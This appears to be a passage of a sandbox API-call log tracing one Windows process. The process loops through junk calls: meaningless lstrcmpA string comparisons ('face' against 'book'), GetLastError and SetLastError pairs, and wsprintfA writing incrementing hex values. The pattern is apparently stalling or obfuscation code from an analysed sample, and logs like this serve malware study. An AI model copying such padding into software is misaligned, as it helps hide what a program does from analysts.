[0071.032] SetLastError (dwErrCode=0x12) [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.032] GetCurrentProcessId () returned 0x81c [0071.033] lstrlenA (lpString="just string") returned 11 [0071.033] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.033] GetLastError () returned 0x12 [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] lstrlenA (lpString="just string") returned 11 [0071.033] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.033] GetLastError () returned 0x12 [0071.033] GetLastError () returned 0x12 [0071.033] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.033] SetLastError (dwErrCode=0x12) [0071.033] GetCurrentProcess () returned 0xffffffff [0071.033] GetLastError () returned 0x12 [0071.033] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0788P") returned 7 [0071.033] SetLastError (dwErrCode=0x12) [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcess () returned 0xffffffff [0071.033] GetLastError () returned 0x12 [0071.033] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0789P") returned 7 [0071.033] SetLastError (dwErrCode=0x12) [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetLastError () returned 0x12 [0071.033] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F078AP") returned 7 [0071.033] SetLastError (dwErrCode=0x12) [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] lstrlenA (lpString="just string") returned 11 [0071.033] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.033] GetLastError () returned 0x12 [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] lstrlenA (lpString="just string") returned 11 [0071.033] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.033] GetLastError () returned 0x12 [0071.033] GetCurrentProcess () returned 0xffffffff [0071.033] GetLastError () returned 0x12 [0071.033] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F07C5P") returned 7 [0071.033] SetLastError (dwErrCode=0x12) [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetLastError () returned 0x12 [0071.033] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F07C6P") returned 7 [0071.033] SetLastError (dwErrCode=0x12) [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] lstrlenA (lpString="just string") returned 11 [0071.033] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.033] GetLastError () returned 0x12 [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] GetCurrentProcessId () returned 0x81c [0071.033] lstrlenA (lpString="just string") returned 11 [0071.033] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.033] GetLastError () returned 0x12 [0071.033] GetLastError () returned 0x12 [0071.033] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.033] SetLastError (dwErrCode=0x12) [0071.033] GetCurrentProcess () returned 0xffffffff [0071.033] GetLastError () returned 0x12 [0071.034] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F07E2P") returned 7 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcess () returned 0xffffffff [0071.034] GetLastError () returned 0x12 [0071.034] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F07E3P") returned 7 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetLastError () returned 0x12 [0071.034] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F07E4P") returned 7 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] lstrlenA (lpString="just string") returned 11 [0071.034] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.034] GetLastError () returned 0x12 [0071.034] GetLastError () returned 0x12 [0071.034] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F080CP") returned 7 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] lstrlenA (lpString="just string") returned 11 [0071.034] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.034] GetLastError () returned 0x12 [0071.034] GetLastError () returned 0x12 [0071.034] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F082AP") returned 7 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] lstrlenA (lpString="just string") returned 11 [0071.034] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.034] GetLastError () returned 0x12 [0071.034] GetLastError () returned 0x12 [0071.034] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcess () returned 0xffffffff [0071.034] GetLastError () returned 0x12 [0071.034] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F083CP") returned 7 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcess () returned 0xffffffff [0071.034] GetLastError () returned 0x12 [0071.034] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F083DP") returned 7 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetLastError () returned 0x12 [0071.034] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F083EP") returned 7 [0071.034] SetLastError (dwErrCode=0x12) [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] GetCurrentProcessId () returned 0x81c [0071.034] lstrlenA (lpString="just string") returned 11 [0071.034] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.034] GetLastError () returned 0x12 [0071.034] GetCurrentProcess () returned 0xffffffff [0071.034] GetLastError () returned 0x12 [0071.035] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F086FP") returned 7 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetLastError () returned 0x12 [0071.035] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0870P") returned 7 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] lstrlenA (lpString="just string") returned 11 [0071.035] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.035] GetLastError () returned 0x12 [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] lstrlenA (lpString="just string") returned 11 [0071.035] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.035] GetLastError () returned 0x12 [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] lstrlenA (lpString="just string") returned 11 [0071.035] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.035] GetLastError () returned 0x12 [0071.035] GetLastError () returned 0x12 [0071.035] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcess () returned 0xffffffff [0071.035] GetLastError () returned 0x12 [0071.035] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F08F0P") returned 7 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetCurrentProcess () returned 0xffffffff [0071.035] GetLastError () returned 0x12 [0071.035] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F08F1P") returned 7 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetLastError () returned 0x12 [0071.035] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F08F2P") returned 7 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] lstrlenA (lpString="just string") returned 11 [0071.035] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.035] GetLastError () returned 0x12 [0071.035] GetLastError () returned 0x12 [0071.035] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcess () returned 0xffffffff [0071.035] GetLastError () returned 0x12 [0071.035] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0936P") returned 7 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetCurrentProcess () returned 0xffffffff [0071.035] GetLastError () returned 0x12 [0071.035] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0937P") returned 7 [0071.035] SetLastError (dwErrCode=0x12) [0071.035] GetCurrentProcessId () returned 0x81c [0071.035] GetLastError () returned 0x12 [0071.035] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0938P") returned 7 [0071.036] SetLastError (dwErrCode=0x12) [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] lstrlenA (lpString="just string") returned 11 [0071.036] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.036] GetLastError () returned 0x12 [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] lstrlenA (lpString="just string") returned 11 [0071.036] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.036] GetLastError () returned 0x12 [0071.036] GetCurrentProcess () returned 0xffffffff [0071.036] GetLastError () returned 0x12 [0071.036] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F097DP") returned 7 [0071.036] SetLastError (dwErrCode=0x12) [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetLastError () returned 0x12 [0071.036] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F097EP") returned 7 [0071.036] SetLastError (dwErrCode=0x12) [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] lstrlenA (lpString="just string") returned 11 [0071.036] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.036] GetLastError () returned 0x12 [0071.036] lstrlenA (lpString="just string") returned 11 [0071.036] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.036] GetLastError () returned 0x12 [0071.036] GetLastError () returned 0x12 [0071.036] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.036] SetLastError (dwErrCode=0x12) [0071.036] GetCurrentProcess () returned 0xffffffff [0071.036] GetLastError () returned 0x12 [0071.036] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F09C2P") returned 7 [0071.036] SetLastError (dwErrCode=0x12) [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcess () returned 0xffffffff [0071.036] GetLastError () returned 0x12 [0071.036] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F09C3P") returned 7 [0071.036] SetLastError (dwErrCode=0x12) [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetLastError () returned 0x12 [0071.036] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F09C4P") returned 7 [0071.036] SetLastError (dwErrCode=0x12) [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] lstrlenA (lpString="just string") returned 11 [0071.036] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.036] GetLastError () returned 0x12 [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] GetCurrentProcessId () returned 0x81c [0071.036] lstrlenA (lpString="just string") returned 11 [0071.036] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.036] GetLastError () returned 0x12 [0071.037] GetLastError () returned 0x12 [0071.037] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcess () returned 0xffffffff [0071.037] GetLastError () returned 0x12 [0071.037] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0A8AP") returned 7 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcess () returned 0xffffffff [0071.037] GetLastError () returned 0x12 [0071.037] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0A8BP") returned 7 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetLastError () returned 0x12 [0071.037] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0A8CP") returned 7 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] lstrlenA (lpString="just string") returned 11 [0071.037] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.037] GetLastError () returned 0x12 [0071.037] GetLastError () returned 0x12 [0071.037] GetCurrentProcess () returned 0xffffffff [0071.037] GetLastError () returned 0x12 [0071.037] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0ADBP") returned 7 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetLastError () returned 0x12 [0071.037] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0ADCP") returned 7 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] lstrlenA (lpString="just string") returned 11 [0071.037] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.037] GetLastError () returned 0x12 [0071.037] GetLastError () returned 0x12 [0071.037] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcess () returned 0xffffffff [0071.037] GetLastError () returned 0x12 [0071.037] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0B20P") returned 7 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcess () returned 0xffffffff [0071.037] GetLastError () returned 0x12 [0071.037] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0B21P") returned 7 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetLastError () returned 0x12 [0071.037] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0B22P") returned 7 [0071.037] SetLastError (dwErrCode=0x12) [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.037] GetCurrentProcessId () returned 0x81c [0071.038] lstrlenA (lpString="just string") returned 11 [0071.038] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.038] GetLastError () returned 0x12 [0071.038] GetLastError () returned 0x12 [0071.038] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0B4AP") returned 7 [0071.038] SetLastError (dwErrCode=0x12) [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] lstrlenA (lpString="just string") returned 11 [0071.038] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.038] GetLastError () returned 0x12 [0071.038] lstrlenA (lpString="just string") returned 11 [0071.038] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.038] GetLastError () returned 0x12 [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] lstrlenA (lpString="just string") returned 11 [0071.038] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.038] GetLastError () returned 0x12 [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] lstrlenA (lpString="just string") returned 11 [0071.038] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.038] GetLastError () returned 0x12 [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] lstrlenA (lpString="just string") returned 11 [0071.038] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.038] GetLastError () returned 0x12 [0071.038] GetLastError () returned 0x12 [0071.038] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.038] SetLastError (dwErrCode=0x12) [0071.038] GetCurrentProcess () returned 0xffffffff [0071.038] GetLastError () returned 0x12 [0071.038] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0CA6P") returned 7 [0071.038] SetLastError (dwErrCode=0x12) [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcess () returned 0xffffffff [0071.038] GetLastError () returned 0x12 [0071.038] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0CA7P") returned 7 [0071.038] SetLastError (dwErrCode=0x12) [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetLastError () returned 0x12 [0071.038] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0CA8P") returned 7 [0071.038] SetLastError (dwErrCode=0x12) [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] lstrlenA (lpString="just string") returned 11 [0071.038] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.038] GetLastError () returned 0x12 [0071.038] GetLastError () returned 0x12 [0071.038] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0CD0P") returned 7 [0071.038] SetLastError (dwErrCode=0x12) [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] GetCurrentProcessId () returned 0x81c [0071.038] lstrlenA (lpString="just string") returned 11 [0071.039] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.039] GetLastError () returned 0x12 [0071.039] lstrlenA (lpString="just string") returned 11 [0071.039] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.039] GetLastError () returned 0x12 [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] lstrlenA (lpString="just string") returned 11 [0071.039] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.039] GetLastError () returned 0x12 [0071.039] GetCurrentProcess () returned 0xffffffff [0071.039] GetLastError () returned 0x12 [0071.039] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0D65P") returned 7 [0071.039] SetLastError (dwErrCode=0x12) [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetLastError () returned 0x12 [0071.039] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0D66P") returned 7 [0071.039] SetLastError (dwErrCode=0x12) [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] lstrlenA (lpString="just string") returned 11 [0071.039] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.039] GetLastError () returned 0x12 [0071.039] GetLastError () returned 0x12 [0071.039] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.039] SetLastError (dwErrCode=0x12) [0071.039] GetCurrentProcess () returned 0xffffffff [0071.039] GetLastError () returned 0x12 [0071.039] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0D82P") returned 7 [0071.039] SetLastError (dwErrCode=0x12) [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcess () returned 0xffffffff [0071.039] GetLastError () returned 0x12 [0071.039] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0D83P") returned 7 [0071.039] SetLastError (dwErrCode=0x12) [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetLastError () returned 0x12 [0071.039] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0D84P") returned 7 [0071.039] SetLastError (dwErrCode=0x12) [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] lstrlenA (lpString="just string") returned 11 [0071.039] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.039] GetLastError () returned 0x12 [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] GetCurrentProcessId () returned 0x81c [0071.039] lstrlenA (lpString="just string") returned 11 [0071.039] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.039] GetLastError () returned 0x12 [0071.039] GetLastError () returned 0x12 [0071.039] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.039] SetLastError (dwErrCode=0x12) [0071.039] GetCurrentProcess () returned 0xffffffff [0071.039] GetLastError () returned 0x12 [0071.039] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0DDCP") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcess () returned 0xffffffff [0071.040] GetLastError () returned 0x12 [0071.040] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0DDDP") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetLastError () returned 0x12 [0071.040] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0DDEP") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] lstrlenA (lpString="just string") returned 11 [0071.040] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.040] GetLastError () returned 0x12 [0071.040] GetLastError () returned 0x12 [0071.040] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0DFCP") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] lstrlenA (lpString="just string") returned 11 [0071.040] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.040] GetLastError () returned 0x12 [0071.040] GetLastError () returned 0x12 [0071.040] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcess () returned 0xffffffff [0071.040] GetLastError () returned 0x12 [0071.040] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0E04P") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcess () returned 0xffffffff [0071.040] GetLastError () returned 0x12 [0071.040] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0E05P") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetLastError () returned 0x12 [0071.040] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0E06P") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] lstrlenA (lpString="just string") returned 11 [0071.040] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.040] GetLastError () returned 0x12 [0071.040] GetLastError () returned 0x12 [0071.040] GetCurrentProcess () returned 0xffffffff [0071.040] GetLastError () returned 0x12 [0071.040] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0E73P") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetLastError () returned 0x12 [0071.040] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0E74P") returned 7 [0071.040] SetLastError (dwErrCode=0x12) [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.040] GetCurrentProcessId () returned 0x81c [0071.041] lstrlenA (lpString="just string") returned 11 [0071.041] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.041] GetLastError () returned 0x12 [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] lstrlenA (lpString="just string") returned 11 [0071.041] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.041] GetLastError () returned 0x12 [0071.041] GetLastError () returned 0x12 [0071.041] GetLastError () returned 0x12 [0071.041] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0EBAP") returned 7 [0071.041] SetLastError (dwErrCode=0x12) [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] lstrlenA (lpString="just string") returned 11 [0071.041] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.041] GetLastError () returned 0x12 [0071.041] GetCurrentProcess () returned 0xffffffff [0071.041] GetLastError () returned 0x12 [0071.041] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0ECDP") returned 7 [0071.041] SetLastError (dwErrCode=0x12) [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetLastError () returned 0x12 [0071.041] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0ECEP") returned 7 [0071.041] SetLastError (dwErrCode=0x12) [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] lstrlenA (lpString="just string") returned 11 [0071.041] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.041] GetLastError () returned 0x12 [0071.041] lstrlenA (lpString="just string") returned 11 [0071.041] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.041] GetLastError () returned 0x12 [0071.041] GetLastError () returned 0x12 [0071.041] GetLastError () returned 0x12 [0071.041] GetLastError () returned 0x12 [0071.041] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.041] SetLastError (dwErrCode=0x12) [0071.041] GetCurrentProcess () returned 0xffffffff [0071.041] GetLastError () returned 0x12 [0071.041] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F4EP") returned 7 [0071.041] SetLastError (dwErrCode=0x12) [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetCurrentProcess () returned 0xffffffff [0071.041] GetLastError () returned 0x12 [0071.041] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F4FP") returned 7 [0071.041] SetLastError (dwErrCode=0x12) [0071.041] GetCurrentProcessId () returned 0x81c [0071.041] GetLastError () returned 0x12 [0071.041] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F0F50P") 